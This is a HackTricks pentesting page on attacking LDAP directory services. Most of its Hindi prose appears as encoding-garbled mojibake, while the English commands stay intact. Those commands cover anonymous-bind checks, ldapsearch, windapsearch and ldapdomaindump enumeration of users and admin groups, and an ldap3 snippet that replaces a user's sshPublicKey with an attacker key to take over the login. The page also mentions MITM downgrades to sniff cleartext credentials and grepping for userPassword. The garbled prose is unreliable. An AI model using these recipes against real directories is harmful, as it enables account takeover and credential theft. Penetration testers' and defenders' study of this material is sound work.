hacktricks/network-services-pentesting/pentesting-ldap.md

25 KiB

389, 636, 3268, 3269 - Pentesting LDAP

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

LDAP (рд▓рд╛рдЗрдЯрд╡реЗрдЯ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдПрдХреНрд╕реЗрд╕ рдкреНрд░реЛрдЯреЛрдХреЙрд▓) рдХрд╛ рдЙрдкрдпреЛрдЧ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рд╡рд┐рднрд┐рдиреНрди рд╕рдВрд╕реНрдерд╛рдУрдВ рдЬреИрд╕реЗ рд╕рдВрдЧрдардиреЛрдВ, рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рднреАрддрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдФрд░ рдЙрдкрдХрд░рдгреЛрдВ рдЬреИрд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЪрд╛рд╣реЗ рд╡реЗ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╣реЛрдВ рдпрд╛ рдирд┐рдЬреАред рдпрд╣ рдЕрдкрдиреЗ рдкреВрд░реНрд╡рд╡рд░реНрддреА, DAP рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдПрдХ рд╕реБрд╡реНрдпрд╡рд╕реНрдерд┐рдд рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХреЛрдб рдХрд╛ рдЖрдХрд╛рд░ рдЫреЛрдЯрд╛ рд╣реЛрддрд╛ рд╣реИред

LDAP рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ рдЗрд╕ рддрд░рд╣ рд╕реЗ рд╕рдВрд░рдЪрд┐рдд рд╣реЛрддреА рд╣реИрдВ рдХрд┐ рдЙрдиреНрд╣реЗрдВ рдХрдИ рд╕рд░реНрд╡рд░реЛрдВ рдореЗрдВ рд╡рд┐рддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдкреНрд░рддреНрдпреЗрдХ рд╕рд░реНрд╡рд░ рдореЗрдВ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХрд╛ рдПрдХ рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдФрд░ рд╕рдордиреНрд╡рдпрд┐рдд рд╕рдВрд╕реНрдХрд░рдг рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рд╕рд┐рд╕реНрдЯрдо рдПрдЬреЗрдВрдЯ (DSA) рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдХреА рдЬрд┐рдореНрдореЗрджрд╛рд░реА рдкреВрд░реА рддрд░рд╣ рд╕реЗ LDAP рд╕рд░реНрд╡рд░ рдкрд░ рд╣реЛрддреА рд╣реИ, рдЬреЛ рдЖрд╡рд╢реНрдпрдХрддрд╛рдиреБрд╕рд╛рд░ рдЕрдиреНрдп DSAs рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЕрдиреБрд░реЛрдзрдХрд░реНрддрд╛ рдХреЛ рдПрдХреАрдХреГрдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛ рд╕рдХреЗред

LDAP рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХрд╛ рд╕рдВрдЧрдарди рдПрдХ рдкреЗрдбрд╝ рдХреА рд╕рдВрд░рдЪрдирд╛ рдХреА рддрд░рд╣ рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рд╢реАрд░реНрд╖ рдкрд░ рд░реВрдЯ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рджреЗрд╢реЛрдВ рдореЗрдВ рд╢рд╛рдЦрд╛ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЖрдЧреЗ рд╕рдВрдЧрдардиреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рд╣реЛрддреЗ рд╣реИрдВ, рдФрд░ рдлрд┐рд░ рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рднрд╛рдЬрдиреЛрдВ рдпрд╛ рд╡рд┐рднрд╛рдЧреЛрдВ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╕рдВрдЧрдардирд╛рддреНрдордХ рдЗрдХрд╛рдЗрдпреЛрдВ рддрдХ рдкрд╣реБрдБрдЪрддрд╛ рд╣реИ, рдЕрдВрддрддрдГ рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХреЗ рд╕реНрддрд░ рддрдХ рдкрд╣реБрдБрдЪрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд▓реЛрдЧ рдФрд░ рд╕рд╛рдЭрд╛ рд╕рдВрд╕рд╛рдзрди рдЬреИрд╕реЗ рдлрд╝рд╛рдЗрд▓реЗрдВ рдФрд░ рдкреНрд░рд┐рдВрдЯрд░ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреЗ рд╣реИрдВред

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкреЛрд░реНрдЯ: 389 рдФрд░ 636(ldaps)ред рдЧреНрд▓реЛрдмрд▓ рдХреИрдЯрд▓реЙрдЧ (рдПрдХреНрдЯрд┐рд╡рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ LDAP) рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдкреЛрд░реНрдЯ 3268 рдФрд░ 3269 рдкрд░ рдЙрдкрд▓рдмреНрдз рд╣реИред

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

LDAP рдбреЗрдЯрд╛ рдЗрдВрдЯрд░рдЪреЗрдВрдЬ рдлреЙрд░реНрдореЗрдЯ

LDIF (LDAP рдбреЗрдЯрд╛ рдЗрдВрдЯрд░рдЪреЗрдВрдЬ рдлреЙрд░реНрдореЗрдЯ) рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕рд╛рдордЧреНрд░реА рдХреЛ рд░рд┐рдХреЙрд░реНрдб рдХреЗ рд╕реЗрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЕрдкрдбреЗрдЯ рдЕрдиреБрд░реЛрдзреЛрдВ (рдЬреЛрдбрд╝реЗрдВ, рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ, рд╣рдЯрд╛рдПрдВ, рдирд╛рдо рдмрджрд▓реЗрдВ) рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рднреА рдХрд░ рд╕рдХрддрд╛ рд╣реИред

dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • рдкрдВрдХреНрддрд┐рдпрд╛рдБ 1-3 рд╢реАрд░реНрд╖ рд╕реНрддрд░ рдбреЛрдореЗрди local рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИрдВ
  • рдкрдВрдХреНрддрд┐рдпрд╛рдБ 5-8 рдкрд╣рд▓реЗ рд╕реНрддрд░ рдбреЛрдореЗрди moneycorp (moneycorp.local) рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИрдВ
  • рдкрдВрдХреНрддрд┐рдпрд╛рдБ 10-16 2 рд╕рдВрдЧрдардирд╛рддреНрдордХ рдЗрдХрд╛рдЗрдпреЛрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИрдВ: dev рдФрд░ sales
  • рдкрдВрдХреНрддрд┐рдпрд╛рдБ 18-26 рдбреЛрдореЗрди рдХрд╛ рдПрдХ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рддреА рд╣реИрдВ рдФрд░ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЛ рдорд╛рдиреЛрдВ рдХреЗ рд╕рд╛рде рдЕрд╕рд╛рдЗрди рдХрд░рддреА рд╣реИрдВ

рдбреЗрдЯрд╛ рд▓рд┐рдЦреЗрдВ

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рдорд╛рдиреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рдЖрдк рдЕрдкрдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА "sshPublicKey" рдЬрд╛рдирдХрд╛рд░реА рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдЕрддреНрдпрдзрд┐рдХ рд╕рдВрднрд╛рд╡рд┐рдд рд╣реИ рдХрд┐ рдпрджрд┐ рдпрд╣ рд╡рд┐рд╢реЗрд╖рддрд╛ рдореМрдЬреВрдж рд╣реИ, рддреЛ ssh рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ LDAP рд╕реЗ рдкрдврд╝ рд░рд╣рд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗ, рднрд▓реЗ рд╣реА ssh рдореЗрдВ рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдХреНрд╖рдо рди рд╣реЛред

# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

Sniff clear text credentials

рдпрджрд┐ LDAP рдХреЛ SSL рдХреЗ рдмрд┐рдирд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЖрдк рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ plain text рдореЗрдВ credentials рдХреЛ sniff рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЖрдк рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ LDAP рд╕рд░реНрд╡рд░ рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рдмреАрдЪ рдПрдХ MITM рд╣рдорд▓рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣рд╛рдБ рдЖрдк рдПрдХ Downgrade Attack рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ clear text рдореЗрдВ credentials рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХреЗред

рдпрджрд┐ SSL рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рдЖрдк рдКрдкрд░ рдмрддрд╛рдП рдЧрдП рдЕрдиреБрд╕рд╛рд░ MITM рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдПрдХ false certificate рдкреЗрд╢ рдХрд░рдХреЗ, рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрд╕реЗ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЖрдк рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд┐рдзрд┐ рдХреЛ рдбрд╛рдЙрдирдЧреНрд░реЗрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рд╕реЗ credentials рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред

Anonymous Access

Bypass TLS SNI check

рдЗрд╕ рд▓реЗрдЦ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдХреЗрд╡рд▓ рдПрдХ рдордирдорд╛рдиреЗ рдбреЛрдореЗрди рдирд╛рдо (рдЬреИрд╕реЗ company.com) рдХреЗ рд╕рд╛рде LDAP рд╕рд░реНрд╡рд░ рддрдХ рдкрд╣реБрдБрдЪрдХрд░, рд╡рд╣ рдПрдХ рдЕрдирд╛рдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ LDAP рд╕реЗрд╡рд╛ рд╕реЗ рд╕рдВрдкрд░реНрдХ рдХрд░рдиреЗ рдФрд░ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдерд╛:

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP рдЕрдирд╛рдо рдмрд╛рдЗрдВрдбреНрд╕

LDAP рдЕрдирд╛рдо рдмрд╛рдЗрдВрдбреНрд╕ рдЕрд╕рддреНрдпрд╛рдкрд┐рдд рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдбреЛрдореЗрди рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ, рд╕рдореВрд╣реЛрдВ, рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддрд╛ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдФрд░ рдбреЛрдореЗрди рдкрд╛рд╕рд╡рд░реНрдб рдиреАрддрд┐ рдХреА рдкреВрд░реА рд╕реВрдЪреАред рдпрд╣ рдПрдХ рд╡рд┐рд░рд╛рд╕рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рд╣реИ, рдФрд░ Windows Server 2003 рд╕реЗ, рдХреЗрд╡рд▓ рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ LDAP рдЕрдиреБрд░реЛрдз рд╢реБрд░реВ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдкреНрд░рд╢рд╛рд╕рдХреЛрдВ рдХреЛ рдЕрдирд╛рдо рдмрд╛рдЗрдВрдбреНрд╕ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢реЗрд╖ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реЗрдЯрдЕрдк рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИ рдФрд░ рдЗрд░рд╛рджреЗ рд╕реЗ рдЕрдзрд┐рдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХреА рд╣реЛ, рдЬрд┐рд╕рд╕реЗ рдЕрд╕рддреНрдпрд╛рдкрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ AD рдореЗрдВ рд╕рднреА рд╡рд╕реНрддреБрдУрдВ рддрдХ рдкрд╣реБрдВрдЪ рдорд┐рд▓ рдЬрд╛рддреА рд╣реИред

рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ LDAP рд╕рд░реНрд╡рд░ рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╣реИрдВ, рддреЛ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЛрдореЗрди рдПрдбрдорд┐рди рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рднреА рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ:

ldapdomaindump

pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Brute Force

Enumeration

Automated

рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЬрд╛рдирдХрд╛рд░реА (рдЬреИрд╕реЗ рдбреЛрдореЗрди рдирд╛рдо): рджреЗрдЦ рд╕рдХреЗрдВрдЧреЗред

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

See LDAP enumeration with python

рдЖрдк python рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рд╕рд╛рде рдпрд╛ рдмрд┐рдирд╛ LDAP рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: pip3 install ldap3

рдкрд╣рд▓реЗ рдмрд┐рдирд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ:

>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

рдпрджрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ True рд╣реИ рдЬреИрд╕реЗ рдХрд┐ рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рддреЛ рдЖрдк LDAP (рдЬреИрд╕реЗ рдирд╛рдордХрд░рдг рд╕рдВрджрд░реНрдн рдпрд╛ рдбреЛрдореЗрди рдирд╛рдо) рд╕рд░реНрд╡рд░ рд╕реЗ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ рдирд╛рдордХрд░рдг рд╕рдВрджрд░реНрдн рд╣реЛ, рддреЛ рдЖрдк рдХреБрдЫ рдФрд░ рд░реЛрдорд╛рдВрдЪрдХ рдХреНрд╡реЗрд░реА рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рд╕рд░рд▓ рдХреНрд╡реЗрд░реА рдЖрдкрдХреЛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рд╕рднреА рд╡рд╕реНрддреБрдУрдВ рдХреЛ рджрд┐рдЦрд╛рдиреА рдЪрд╛рд╣рд┐рдП:

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

рдпрд╛ dump рдкреВрд░рд╛ ldap:

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch рдПрдХ Python рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИ рдЬреЛ Windows рдбреЛрдореЗрди рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ, рд╕рдореВрд╣реЛрдВ рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдХреЛ enumerate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП LDAP рдХреНрд╡реЗрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИред

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

рд╢реВрдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ рдпрд╛ рдпрджрд┐ рдЖрдкрдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдорд╛рдиреНрдп рд╣реИрдВ:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

рдпрджрд┐ рдЖрдк рдХреБрдЫ рдРрд╕рд╛ рдкрд╛рддреЗ рд╣реИрдВ рдЬреЛ рдХрд╣рддрд╛ рд╣реИ рдХрд┐ "bind рдкреВрд░рд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП" рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЧрд▓рдд рд╣реИрдВред

рдЖрдк рдПрдХ рдбреЛрдореЗрди рд╕реЗ рд╕рдм рдХреБрдЫ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

рдХрдВрдкреНрдпреВрдЯрд░

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

рдореЗрд░реА рдЬрд╛рдирдХрд╛рд░реА

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

рдбреЛрдореЗрди рдПрдбрдорд┐рдиреНрд╕:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

рдПрдВрдЯрд░рдкреНрд░рд╛рдЗрдЬ рдПрдбрдорд┐рдиреНрд╕:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extract рдкреНрд░рд╢рд╛рд╕рдХ:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

рд░рд┐рдореЛрдЯ рдбреЗрд╕реНрдХрдЯреЙрдк рд╕рдореВрд╣:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

рдХрд┐рд╕реА рднреА рдкрд╛рд╕рд╡рд░реНрдб рддрдХ рдкрд╣реБрдБрдЪ рд╣реИ рдпрд╛ рдирд╣реАрдВ рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдПрдХ рдХреНрд╡реЗрд░реА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж grep рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

